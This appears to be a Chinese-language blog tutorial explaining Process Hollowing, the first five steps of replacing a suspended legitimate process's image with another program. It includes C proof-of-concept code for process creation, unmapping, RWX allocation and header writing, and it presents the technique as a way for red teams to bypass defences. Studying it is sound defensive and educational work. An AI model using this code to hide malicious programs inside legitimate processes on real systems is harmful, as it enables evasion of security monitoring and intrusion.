Process Hollowing 跟【Day 06】致不灭的 DLL - DLL Injection 所介绍的 DLL Injection 都被 MITRE 归类於 Process Injection 的范畴,也就是把自己的程序放到别的 Process 执行。
因为 Process Hollowing 是把一个合法的 Process 原本要执行的程序挖空,并替换成自己的程序,其中被替换掉的 Process 指向的档案路径仍然是原本的。虽然实际上执行的是恶意程序,但外表却看起来正常。所以对於红队来说它的优点就是可以用来绕过一些防御。
以下原理是在 32-bit 情况,因为同样的技巧,32-bit 可以在 64-bit 执行,反之却不能。但是 64-bit 原理其实一样,只是有些细节差异。
在这一篇会说明前 5 个步骤,後 4 个会在下一篇继续。
使用 CreateProcessA 建立 Process,其中有个重点是第六个参数 dwCreationFlags 必须是 CREATE_SUSPENDED (0x4),因为需要它维持在初始状态,让我们能够对其中的记忆体进行修改。下面可以看到 MSDN 对这个 Flag 的描述。
The primary thread of the new process is created in a suspended state, and does not run until the ResumeThread function is called.
所以说在我们建立了目标 Process,并且把它的记忆体窜改成我们自己的程序後,呼叫 ResumeThread 就可以让它恢复执行。
有了目标 Process 的 Handle,就可以取得 PEB,里面包含後面步骤需要用到的 ImageBaseAddress。
使用 CreateFileA 取得目标档案的 Handle,然後用 ReadFile 读取档案内容。
在这个步骤还需要取得 File Header 和 Optional Header 的位址。会需要 File Header 是因为我们需要其中的 NumberOfSections 成员。会需要 Optional Header 则是因为我们需要其中的 SizeOfImage、ImageBase、SizeOfHeaders、IMAGE_DATA_DIRECTORY、AddressOfEntryPoint。需要它们的原因是等等要把每个 Header 和 Section 排到正确的位址。
File Header 和 Optional Header 各是 NT Header 的其中一个成员,NT Header 则是从 DOS Header 算出来的。
从 ntdll.dll 中取出 NtUnmapViewOfSection 函数,Unmap 目标 Process 的 Image。
如果想要观察这个函数实际上做了什麽,可以用 x32dbg 下断点,然後用 Process Explorer 观察目标 Process。
下图左边是我在 x32dbg 下断点於执行 NtUnmapViewOfSection 之前,而右边 Process Explorer 下方则是目标 Process 目前的 Image。
执行 NtUnmapViewOfSection 後原本的 Image 就消失了。
使用 VirtualAllocEx 向目标 Process 申请一块记忆体,其中参数的设定很重要。hProcess 是目标 Process 的 Handle;lpAddress 是原本被 Unmap 的 Image 的 Base Address;dwSize 是我们要注入的档案大小;flAllocationType 是 MEM_COMMIT | MEM_RESERVE;flProtect 可以针对不同的记忆体区段去做配置,不过 POC 方便起见,直接用 PAGE_EXECUTE_READWRITE。
LPVOID VirtualAllocEx(
HANDLE hProcess,
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flAllocationType,
DWORD flProtect
);
把我们的档案 Header 写入目标 Process,首先要注意的是 Image Base 的部分。由於 Image 载入後,因为 ASLR(Address Space Layout Randomization) 的缘故,Image Base 不一定相同。
所以在改 Optional Header 中的 ImageBase 成员之前,我们要先算出档案的 Image Base 和目标 Process 的 Image Base 的距离。之後就可以把档案的 Header 用 WriteProcessMemory 写到目标 Process。
那档案的 Header 是指什麽呢?打开 PE-bear 查看档案,可以看到左边有 DOS Headers、DOS stub、NT Headers 等等。简单来说,现在要写入目标 Process 的部分就是除了 Sections 之外的东西。
POC 改自 m0n0ph1/Process-Hollowing,只有加入一些注解并把一些非必要的程序拔掉减少篇幅。完整的程序专案可以参考我的 GitHub zeze-zeze/2021iThome。
void CreateHollowedProcess(char* pDestCmdLine, char* pSourceFile)
{
// 1. 建立一个 Suspended Process,它就是要被注入的目标 Process
LPSTARTUPINFOA pStartupInfo = new STARTUPINFOA();
LPPROCESS_INFORMATION pProcessInfo = new PROCESS_INFORMATION();
// 第六个参数必须是 CREATE_SUSPENDED,因为需要它维持在初始状态,让我们能够对其中的记忆体进行修改
CreateProcessA
(
0,
pDestCmdLine,
0,
0,
0,
CREATE_SUSPENDED,
0,
0,
pStartupInfo,
pProcessInfo
);
if (!pProcessInfo->hProcess)
{
printf("Error creating process\r\n");
return;
}
// 取得 PEB,里面包含後面步骤需要用到的 ImageBaseAddress
PPEB pPEB = ReadRemotePEB(pProcessInfo->hProcess);
PLOADED_IMAGE pImage = ReadRemoteImage(pProcessInfo->hProcess, pPEB->ImageBaseAddress);
// 2. 读取要注入的档案
HANDLE hFile = CreateFileA
(
pSourceFile,
GENERIC_READ,
0,
0,
OPEN_ALWAYS,
0,
0
);
if (hFile == INVALID_HANDLE_VALUE)
{
printf("Error opening %s\r\n", pSourceFile);
return;
}
DWORD dwSize = GetFileSize(hFile, 0);
PBYTE pBuffer = new BYTE[dwSize];
DWORD dwBytesRead = 0;
ReadFile(hFile, pBuffer, dwSize, &dwBytesRead, 0);
// 取得 File Header 和 Optional Header
// File Header 和 Optional Header 各是 NT Header 的其中一个成员,NT Header 则是从 DOS Header 算出来的
PLOADED_IMAGE pSourceImage = GetLoadedImage((DWORD)pBuffer);
PIMAGE_NT_HEADERS32 pSourceHeaders = GetNTHeaders((DWORD)pBuffer);
// 3. Unmap 目标 Process 的记忆体
// 从 ntdll.dll 中取出 NtUnmapViewOfSection
HMODULE hNTDLL = GetModuleHandleA("ntdll");
FARPROC fpNtUnmapViewOfSection = GetProcAddress(hNTDLL, "NtUnmapViewOfSection");
_NtUnmapViewOfSection NtUnmapViewOfSection =
(_NtUnmapViewOfSection)fpNtUnmapViewOfSection;
DWORD dwResult = NtUnmapViewOfSection
(
pProcessInfo->hProcess,
pPEB->ImageBaseAddress
);
if (dwResult)
{
printf("Error unmapping section\r\n");
return;
}
// 4. 在目标 Process 申请一块记忆体
// Process 是目标 Process 的 Handle
// lpAddress 是原本被 Unmap 的 Image 的 Base Address
// dwSize 是我们要注入的档案大小
// flAllocationType 是 MEM_COMMIT | MEM_RESERVE
// flProtect 可以针对不同的记忆体区段去做配置,不过 POC 方便起见,直接用 PAGE_EXECUTE_READWRITE
PVOID pRemoteImage = VirtualAllocEx
(
pProcessInfo->hProcess,
pPEB->ImageBaseAddress,
pSourceHeaders->OptionalHeader.SizeOfImage,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE
);
if (!pRemoteImage)
{
printf("VirtualAllocEx call failed\r\n");
return;
}
// 5. 把 Header 写入目标 Process
// 在改 Optional Header 中的 ImageBase 成员之前,算出档案的 Image Base 和目标 Process 的 Image Base 的距离
DWORD dwDelta = (DWORD)pPEB->ImageBaseAddress - pSourceHeaders->OptionalHeader.ImageBase;
pSourceHeaders->OptionalHeader.ImageBase = (DWORD)pPEB->ImageBaseAddress;
// 把我们的档案 Header 写入目标 Process
if (!WriteProcessMemory
(
pProcessInfo->hProcess,
pPEB->ImageBaseAddress,
pBuffer,
pSourceHeaders->OptionalHeader.SizeOfHeaders,
0
))
{
printf("Error writing process memory\r\n");
return;
}
>>: 数据分析的好夥伴 - Python基础:资料形式(上)
排序的速度 Quicksort,需要 heapsort,需要 merge sort,需要 inser...
介绍Jenkins的章节即将进入尾声了。事实上你可能会想Jenkins默认介面这麽老气,怎麽就成为全...
优缺点 优点 Block storage最大的优点就是他使得计算与储存分离,我们能轻易地透过LUN ...
我选了python当作主要开发语言 因为我以前有用过python而且很潮 框架部分我选比较主流的Dj...
小七离开便利商店後,店员『太子』走了过来... 「Allen 我觉得你走到那,都有灾难。」 我看了看...